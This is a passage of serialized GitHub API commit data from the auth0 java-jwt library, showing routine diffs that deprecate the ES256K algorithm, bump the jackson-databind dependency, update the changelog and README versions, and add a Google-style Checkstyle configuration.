deletionsKufiles]}(jq  (da895621d46cc45f5b88a30b5b920e882f8ba357filenamelib/build.gradlestatusmodifiedjxq  Kjyq  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/64cd536116ffa88ee70ee42bca97745227eebd5c/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/64cd536116ffa88ee70ee42bca97745227eebd5c/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=64cd536116ffa88ee70ee42bca97745227eebd5cpatchXe  @@ -47,7 +47,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.0'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.12.6'
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
     testImplementation 'junit:junit:4.12'
     testImplementation 'net.jodah:concurrentunit:0.4.3'uau(bd7c282874600aaa4efbd132745b4f3e38c3561f}(sha(bd7c282874600aaa4efbd132745b4f3e38c3561fnode_idEC_kwDOAQtL0doAKGJkN2MyODI4NzQ2MDBhYWE0ZWZiZDEzMjc0NWI0ZjNlMzhjMzU2MWYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-11T14:10:37Zu	committer}(jq  	poovamrajjq  poovamraj@gmail.comjq  2022-03-14T11:05:18Zumessage6[SDK-3192] Deprecate secp256k1 curve for EC Algorithmstree}(jq  (269aa39a34fa385e6bf635d78a24aba6bc2a9d21url^https://api.github.com/repos/auth0/java-jwt/git/trees/269aa39a34fa385e6bf635d78a24aba6bc2a9d21ujq  `https://api.github.com/repos/auth0/java-jwt/git/commits/bd7c282874600aaa4efbd132745b4f3e38c3561f
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujq  \https://api.github.com/repos/auth0/java-jwt/commits/bd7c282874600aaa4efbd132745b4f3e38c3561fhtml_urlQhttps://github.com/auth0/java-jwt/commit/bd7c282874600aaa4efbd132745b4f3e38c3561fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/bd7c282874600aaa4efbd132745b4f3e38c3561f/commentsjq  }(login	poovamrajidJ jq  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jq  &https://api.github.com/users/poovamrajjq  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujq  }(jq  	poovamrajjq  J jq  MDQ6VXNlcjE1OTEwNDI1jq  4https://avatars.githubusercontent.com/u/15910425?v=4jq  h3jq  &https://api.github.com/users/poovamrajjq  https://github.com/poovamrajjq  0https://api.github.com/users/poovamraj/followersjq  =https://api.github.com/users/poovamraj/following{/other_user}jq  6https://api.github.com/users/poovamraj/gists{/gist_id}jq  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jq  4https://api.github.com/users/poovamraj/subscriptionsjq  +https://api.github.com/users/poovamraj/orgsjq  ,https://api.github.com/users/poovamraj/reposjq  7https://api.github.com/users/poovamraj/events{/privacy}jq  6https://api.github.com/users/poovamraj/received_eventsjq  Userjq  uparents]}(jq  (22f31476fbaf2526412c88e9d9e65d058103d0a8jq  \https://api.github.com/repos/auth0/java-jwt/commits/22f31476fbaf2526412c88e9d9e65d058103d0a8jq  Qhttps://github.com/auth0/java-jwt/commit/22f31476fbaf2526412c88e9d9e65d058103d0a8uastats}(totalK	additionsK	deletionsK ufiles]}(jq  (37a99142a8700c67a377a699f62b764d8ddb9ee5filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedjq  Kjq  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/bd7c282874600aaa4efbd132745b4f3e38c3561f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/bd7c282874600aaa4efbd132745b4f3e38c3561f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=bd7c282874600aaa4efbd132745b4f3e38c3561fpatchX  @@ -182,8 +182,10 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
      *
      * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
      * @return a valid ECDSA256 Algorithm.
+     * @deprecated This method is deprecated since Java 15+ disables SECP-256K1 Curve. Using this in Java 15+ will throw a SignatureException
      * @throws IllegalArgumentException if the Key Provider is null.
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
         return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
     }
@@ -194,8 +196,10 @@ public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalAr
      * @param publicKey  the key to use in the verify instance.
      * @param privateKey the key to use in the signing instance.
      * @return a valid ECDSA256 Algorithm.
+     * @deprecated This method is deprecated since Java 15+ disables SECP-256K1 Curve. Using this in Java 15+ will throw a SignatureException
      * @throws IllegalArgumentException if the provided Key is null.
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
         return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
     }uau(75ee6a33c14697af6c1b18b10c6a3603f0f8d121}(sha(75ee6a33c14697af6c1b18b10c6a3603f0f8d121node_idEC_kwDOAQtL0doAKDc1ZWU2YTMzYzE0Njk3YWY2YzFiMThiMTBjNmEzNjAzZjBmOGQxMjEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-25T08:08:48Zu	committer}(j
r  
Poovamraj T Tjr  poovamraj@gmail.comjr  2022-03-25T08:08:48Zumessage@Merge branch 'predicate-claim-verifier' into null-claim-handlingtree}(jr  (fae7b47a99beabb3549da39aa4c97fb58fcb090burl^https://api.github.com/repos/auth0/java-jwt/git/trees/fae7b47a99beabb3549da39aa4c97fb58fcb090bujr  `https://api.github.com/repos/auth0/java-jwt/git/commits/75ee6a33c14697af6c1b18b10c6a3603f0f8d121
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujr  \https://api.github.com/repos/auth0/java-jwt/commits/75ee6a33c14697af6c1b18b10c6a3603f0f8d121html_urlQhttps://github.com/auth0/java-jwt/commit/75ee6a33c14697af6c1b18b10c6a3603f0f8d121comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/commentsjr  }(login	poovamrajidJ jr  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jr  &https://api.github.com/users/poovamrajj&r  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujr  }(j+r  	poovamrajj-r  J jr  MDQ6VXNlcjE1OTEwNDI1j/r  4https://avatars.githubusercontent.com/u/15910425?v=4j1r  h3jr  &https://api.github.com/users/poovamrajj&r  https://github.com/poovamrajj4r  0https://api.github.com/users/poovamraj/followersj6r  =https://api.github.com/users/poovamraj/following{/other_user}j8r  6https://api.github.com/users/poovamraj/gists{/gist_id}j:r  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j<r  4https://api.github.com/users/poovamraj/subscriptionsj>r  +https://api.github.com/users/poovamraj/orgsj@r  ,https://api.github.com/users/poovamraj/reposjBr  7https://api.github.com/users/poovamraj/events{/privacy}jDr  6https://api.github.com/users/poovamraj/received_eventsjFr  UserjHr  uparents](}(jr  (9955599c1fb3db9927ab438356f5ae18118631aejr  \https://api.github.com/repos/auth0/java-jwt/commits/9955599c1fb3db9927ab438356f5ae18118631aej&r  Qhttps://github.com/auth0/java-jwt/commit/9955599c1fb3db9927ab438356f5ae18118631aeu}(jr  (0333526d9a3d2893b9abb506cc38cc83de091776jr  \https://api.github.com/repos/auth0/java-jwt/commits/0333526d9a3d2893b9abb506cc38cc83de091776j&r  Qhttps://github.com/auth0/java-jwt/commit/0333526d9a3d2893b9abb506cc38cc83de091776uestats}(totalM	additionsM	deletionsMufiles](}(jr  (84686b4b01b8efa5fc01dde25c8b63e9605ce727filenameCHANGELOG.mdstatusmodifiedjfr  Kjgr       K changesKblob_url\https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121patchX  @@ -1,5 +1,17 @@
 # Change Log
 
+## [3.19.0](https://github.com/auth0/java-jwt/tree/3.19.0) (2022-03-14)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.3...3.19.0)
+
+**Deprecated**
+- Deprecate ES256K Algorithm [\#543](https://github.com/auth0/java-jwt/pull/543) ([poovamraj](https://github.com/poovamraj))
+
+**Fixed**
+- fix typos in JWTVerifier#verify docstring [\#526](https://github.com/auth0/java-jwt/pull/526) ([OdunlamiZO](https://github.com/OdunlamiZO))
+
+**Security**
+- Bump `jackson-databind` dependency to 2.13.2 [\#542](https://github.com/auth0/java-jwt/pull/542) ([evansims](https://github.com/evansims))
+
 ## [3.18.3](https://github.com/auth0/java-jwt/tree/3.18.3) (2022-01-13)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.2...3.18.3)
 u}(jr  (0f847ccabe32ccfb0d0b925ebe5214f8f3908851jlr  	README.mdjnr  modifiedjfr  Kjgr  Kjpr  Kjqr  Yhttps://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/README.mdjsr  Xhttps://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/README.mdjur  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.18.3</version>
+    <version>3.19.0</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.18.3'
+implementation 'com.auth0:java-jwt:3.19.0'
 ```
 
 ## Available Algorithmsu}(jr  (d261598185a284921b33df28fcffc23706782f82jlr   config/checkstyle/checkstyle.xmljnr  addedjfr  Mfjgr  K jpr  Mfjqr  thttps://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/config%2Fcheckstyle%2Fcheckstyle.xmljsr  shttps://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/config%2Fcheckstyle%2Fcheckstyle.xmljur  https://api.github.com/repos/auth0/java-jwt/contents/config%2Fcheckstyle%2Fcheckstyle.xml?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  XxK  @@ -0,0 +1,358 @@
+<?xml version="1.0"?>
+<!DOCTYPE module PUBLIC
+        "-//Checkstyle//DTD Checkstyle Configuration 1.3//EN"
+        "https://checkstyle.org/dtds/configuration_1_3.dtd">
+
+<!--
+    Checkstyle configuration that checks the Google coding conventions from Google Java Style
+    that can be found at https://google.github.io/styleguide/javaguide.html
+
+    Checkstyle is very configurable. Be sure to read the documentation at
+    http://checkstyle.org (or in your downloaded distribution).
+
+    To completely disable a check, just comment it out or delete it from the file.
+    To suppress certain violations please review suppression filters.
+
+    Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
+ -->
+
+<module name = "Checker">
+    <property name="charset" value="UTF-8"/>
+
+    <property name="severity" value="error"/>
+
+    <property name="fileExtensions" value="java, properties, xml"/>
+    <!-- Excludes all 'module-info.java' files              -->
+    <!-- See https://checkstyle.org/config_filefilters.html -->
+    <module name="BeforeExecutionExclusionFileFilter">
+        <property name="fileNamePattern" value="module\-info\.java$"/>
+    </module>
+    <!-- https://checkstyle.org/config_filters.html#SuppressionFilter -->
+    <module name="SuppressionFilter">
+        <property name="file" value="${org.checkstyle.google.suppressionfilter.config}"
+                  default="checkstyle-suppressions.xml" />
+        <property name="optional" value="true"/>
+    </module>
+
+    <!-- Checks for whitespace                               -->
+    <!-- See http://checkstyle.org/config_whitespace.html -->
+    <module name="FileTabCharacter">
+        <property name="eachLine" value="true"/>
+    </module>
+
+    <module name="LineLength">
+        <property name="fileExtensions" value="java"/>
+        <property name="max" value="120"/>
+        <property name="ignorePattern" value="^package.*|^import.*|a href|href|http://|https://|ftp://"/>
+    </module>
+
+    <module name="TreeWalker">
+        <module name="OuterTypeFilename"/>
+        <module name="IllegalTokenText">
+            <property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
+            <property name="format"
+                      value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
+            <property name="message"
+                      value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
+        </module>
+        <module name="Regexp">
+            <!-- . matches any character, so we need to escape it and use \. to match dots. -->
+            <property name="format" value="System\.out\.println"/>
+            <property name="illegalPattern" value="true"/>
+            <property name="message" value="Use of System.out.println is not allowed"/>
+        </module>
+        <module name="AvoidEscapedUnicodeCharacters">
+            <property name="allowEscapesForControlCharacters" value="true"/>
+            <property name="allowByTailComment" value="true"/>
+            <property name="allowNonPrintableEscapes" value="true"/>
+        </module>
+        <module name="OneTopLevelClass"/>
+        <module name="NoLineWrap">
+            <property name="tokens" value="PACKAGE_DEF, IMPORT, STATIC_IMPORT"/>
+        </module>
+        <module name="EmptyBlock">
+            <property name="option" value="TEXT"/>
+            <property name="tokens"
+                      value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
+        </module>
+        <module name="NeedBraces">
+            <property name="tokens"
+                      value="LITERAL_DO, LITERAL_ELSE, LITERAL_FOR, LITERAL_IF, LITERAL_WHILE"/>
+        </module>
+        <module name="LeftCurly">
+            <property name="tokens"
+                      value="ANNOTATION_DEF, CLASS_DEF, CTOR_DEF, ENUM_CONSTANT_DEF, ENUM_DEF,
+                    INTERFACE_DEF, LAMBDA, LITERAL_CASE, LITERAL_CATCH, LITERAL_DEFAULT,
+                    LITERAL_DO, LITERAL_ELSE, LITERAL_FINALLY, LITERAL_FOR, LITERAL_IF,
+                    LITERAL_SWITCH, LITERAL_SYNCHRONIZED, LITERAL_TRY, LITERAL_WHILE, METHOD_DEF,
+                    OBJBLOCK, STATIC_INIT, RECORD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="RightCurly">
+            <property name="id" value="RightCurlySame"/>
+            <property name="tokens"
+                      value="LITERAL_TRY, LITERAL_CATCH, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE,
+                    LITERAL_DO"/>
+        </module>
+        <module name="RightCurly">
+            <property name="id" value="RightCurlyAlone"/>
+            <property name="option" value="alone"/>
+            <property name="tokens"
+                      value="CLASS_DEF, METHOD_DEF, CTOR_DEF, LITERAL_FOR, LITERAL_WHILE, STATIC_INIT,
+                    INSTANCE_INIT, ANNOTATION_DEF, ENUM_DEF, INTERFACE_DEF, RECORD_DEF,
+                    COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="SuppressionXpathSingleFilter">
+            <!-- suppresion is required till https://github.com/checkstyle/checkstyle/issues/7541 -->
+            <property name="id" value="RightCurlyAlone"/>
+            <property name="query" value="//RCURLY[parent::SLIST[count(./*)=1]
+                                     or preceding-sibling::*[last()][self::LCURLY]]"/>
+        </module>
+        <module name="WhitespaceAfter">
+            <property name="tokens"
+                      value="COMMA, SEMI, TYPECAST, LITERAL_IF, LITERAL_ELSE,
+                    LITERAL_WHILE, LITERAL_DO, LITERAL_FOR, DO_WHILE, ELLIPSIS,
+                    LITERAL_SWITCH, LAMBDA"/>
+        </module>
+        <module name="WhitespaceAround">
+            <property name="allowEmptyConstructors" value="true"/>
+            <property name="allowEmptyLambdas" value="true"/>
+            <property name="allowEmptyMethods" value="true"/>
+            <property name="allowEmptyTypes" value="true"/>
+            <property name="allowEmptyLoops" value="true"/>
+            <property name="ignoreEnhancedForColon" value="false"/>
+            <property name="tokens"
+                      value="ASSIGN, BAND, BAND_ASSIGN, BOR, BOR_ASSIGN, BSR, BSR_ASSIGN, BXOR,
+                    BXOR_ASSIGN, COLON, DIV, DIV_ASSIGN, DO_WHILE, EQUAL, GE, GT, LAMBDA, LAND,
+                    LCURLY, LE, LITERAL_CATCH, LITERAL_DO, LITERAL_ELSE, LITERAL_FINALLY,
+                    LITERAL_FOR, LITERAL_IF, LITERAL_RETURN, LITERAL_SWITCH, LITERAL_SYNCHRONIZED,
+                    LITERAL_TRY, LITERAL_WHILE, LOR, LT, MINUS, MINUS_ASSIGN, MOD, MOD_ASSIGN,
+                    NOT_EQUAL, PLUS, PLUS_ASSIGN, QUESTION, RCURLY, SL, SLIST, SL_ASSIGN, SR,
+                    SR_ASSIGN, STAR, STAR_ASSIGN, LITERAL_ASSERT, TYPE_EXTENSION_AND"/>
+            <message key="ws.notFollowed"
+                     value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
+            <message key="ws.notPreceded"
+                     value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
+        </module>
+        <module name="OneStatementPerLine"/>
+        <module name="MultipleVariableDeclarations"/>
+        <module name="ArrayTypeStyle"/>
+        <module name="MissingSwitchDefault"/>
+        <module name="FallThrough"/>
+        <module name="UpperEll"/>
+        <module name="ModifierOrder"/>
+        <module name="EmptyLineSeparator">
+            <property name="tokens"
+                      value="PACKAGE_DEF, IMPORT, STATIC_IMPORT, CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                    STATIC_INIT, INSTANCE_INIT, METHOD_DEF, CTOR_DEF, VARIABLE_DEF, RECORD_DEF,
+                    COMPACT_CTOR_DEF"/>
+            <property name="allowNoEmptyLineBetweenFields" value="true"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapDot"/>
+            <property name="tokens" value="DOT"/>
+            <property name="option" value="nl"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapComma"/>
+            <property name="tokens" value="COMMA"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/259 -->
+            <property name="id" value="SeparatorWrapEllipsis"/>
+            <property name="tokens" value="ELLIPSIS"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/258 -->
+            <property name="id" value="SeparatorWrapArrayDeclarator"/>
+            <property name="tokens" value="ARRAY_DECLARATOR"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapMethodRef"/>
+            <property name="tokens" value="METHOD_REF"/>
+            <property name="option" value="nl"/>
+        </module>
+        <module name="PackageName">
+            <property name="format" value="^[a-z]+(\.[a-z][a-z0-9]*)*$"/>
+            <message key="name.invalidPattern"
+                     value="Package name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="TypeName">
+            <property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                    ANNOTATION_DEF, RECORD_DEF"/>
+            <message key="name.invalidPattern"
+                     value="Type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="MemberName">
+            <property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
+            <message key="name.invalidPattern"
+                     value="Member name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="ParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="LambdaParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Lambda parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="CatchParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="LocalVariableName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Local variable name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="PatternVariableName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Pattern variable name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="ClassTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Class type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="RecordComponentName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Record component name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="RecordTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Record type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="MethodTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Method type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="InterfaceTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Interface type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="NoFinalizer"/>
+        <module name="GenericWhitespace">
+            <message key="ws.followed"
+                     value="GenericWhitespace ''{0}'' is followed by whitespace."/>
+            <message key="ws.preceded"
+                     value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
+            <message key="ws.illegalFollow"
+                     value="GenericWhitespace ''{0}'' should followed by whitespace."/>
+            <message key="ws.notPreceded"
+                     value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
+        </module>
+        <module name="Indentation">
+            <property name="basicOffset" value="4"/>
+            <property name="braceAdjustment" value="2"/>
+            <property name="caseIndent" value="4"/>
+            <property name="throwsIndent" value="4"/>
+            <property name="lineWrappingIndentation" value="4"/>
+            <property name="arrayInitIndent" value="2"/>
+        </module>
+        <module name="AbbreviationAsWordInName">
+            <property name="ignoreFinal" value="false"/>
+            <property name="allowedAbbreviationLength" value="5"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, ANNOTATION_DEF, ANNOTATION_FIELD_DEF,
+                    PARAMETER_DEF, VARIABLE_DEF, METHOD_DEF, PATTERN_VARIABLE_DEF, RECORD_DEF,
+                    RECORD_COMPONENT_DEF"/>
+        </module>
+        <module name="NoWhitespaceBeforeCaseDefaultColon"/>
+        <module name="OverloadMethodsDeclarationOrder"/>
+        <module name="VariableDeclarationUsageDistance"/>
+        <module name="MethodParamPad">
+            <property name="tokens"
+                      value="CTOR_DEF, LITERAL_NEW, METHOD_CALL, METHOD_DEF,
+                    SUPER_CTOR_CALL, ENUM_CONSTANT_DEF, RECORD_DEF"/>
+        </module>
+        <module name="NoWhitespaceBefore">
+            <property name="tokens"
+                      value="COMMA, SEMI, POST_INC, POST_DEC, DOT,
+                    LABELED_STAT, METHOD_REF"/>
+            <property name="allowLineBreaks" value="true"/>
+        </module>
+        <module name="ParenPad">
+            <property name="tokens"
+                      value="ANNOTATION, ANNOTATION_FIELD_DEF, CTOR_CALL, CTOR_DEF, DOT, ENUM_CONSTANT_DEF,
+                    EXPR, LITERAL_CATCH, LITERAL_DO, LITERAL_FOR, LITERAL_IF, LITERAL_NEW,
+                    LITERAL_SWITCH, LITERAL_SYNCHRONIZED, LITERAL_WHILE, METHOD_CALL,
+                    METHOD_DEF, QUESTION, RESOURCE_SPECIFICATION, SUPER_CTOR_CALL, LAMBDA,
+                    RECORD_DEF"/>
+        </module>
+        <module name="OperatorWrap">
+            <property name="option" value="NL"/>
+            <property name="tokens"
+                      value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR,
+                    LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF,
+                    TYPE_EXTENSION_AND "/>
+        </module>
+        <module name="AnnotationLocation">
+            <property name="id" value="AnnotationLocationMostCases"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF,
+                      RECORD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="AnnotationLocation">
+            <property name="id" value="AnnotationLocationVariables"/>
+            <property name="tokens" value="VARIABLE_DEF"/>
+            <property name="allowSamelineMultipleAnnotations" value="true"/>
+        </module>
+        <module name="NonEmptyAtclauseDescription"/>
+        <module name="InvalidJavadocPosition"/>
+        <module name="JavadocTagContinuationIndentation"/>
+        <module name="SummaryJavadoc">
+            <property name="forbiddenSummaryFragments"
+                      value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
+        </module>
+        <module name="RequireEmptyLineBeforeBlockTagGroup"/>
+        <module name="AtclauseOrder">
+            <property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
+            <property name="target"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
+        </module>
+        <module name="JavadocMethod">
+            <property name="accessModifiers" value="public"/>
+            <property name="allowMissingParamTags" value="true"/>
+            <property name="allowMissingReturnTag" value="true"/>
+            <property name="allowedAnnotations" value="Override, Test"/>
+            <property name="tokens" value="METHOD_DEF, CTOR_DEF, ANNOTATION_FIELD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="MissingJavadocMethod">
+            <property name="scope" value="public"/>
+            <property name="minLineCount" value="2"/>
+            <property name="allowedAnnotations" value="Override, Test"/>
+            <property name="tokens" value="METHOD_DEF, CTOR_DEF, ANNOTATION_FIELD_DEF,
+                                   COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="MissingJavadocType">
+            <property name="scope" value="protected"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                      RECORD_DEF, ANNOTATION_DEF"/>
+            <property name="excludeScope" value="nothing"/>
+        </module>
+        <module name="SingleLineJavadoc"/>
+        <module name="EmptyCatchBlock">
+            <property name="exceptionVariableName" value="expected"/>
+        </module>
+        <module name="CommentsIndentation">
+            <property name="tokens" value="SINGLE_LINE_COMMENT, BLOCK_COMMENT_BEGIN"/>
+        </module>
+        <!-- https://checkstyle.org/config_filters.html#SuppressionXpathFilter -->
+        <module name="SuppressionXpathFilter">
+            <property name="file" value="${org.checkstyle.google.suppressionxpathfilter.config}"
+                      default="checkstyle-xpath-suppressions.xml" />
+            <property name="optional" value="true"/>
+        </module>
+    </module>
+</module>
\ No newline at end of fileu}(jr  (001963bdb2effd8b3776c34f354728cd201971b7jlr  lib/build.gradlejnr  modifiedjfr  Kjgr  Kjpr  Kjqr  bhttps://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fbuild.gradlejsr  ahttps://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fbuild.gradlejur  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -2,6 +2,12 @@ plugins {
     id 'java'
     id 'jacoco'
     id 'com.auth0.gradle.oss-library.java'
+    id 'checkstyle'
+}
+
+checkstyle {
+    toolVersion '10.0'
+    checkstyleTest.enabled = false //We are disabling lint checks for tests
 }
 
 logger.lifecycle("Using version ${version} for ${group}.${name}")
@@ -47,7 +53,7 @@ javadoc {
 }
 
 dependencies {
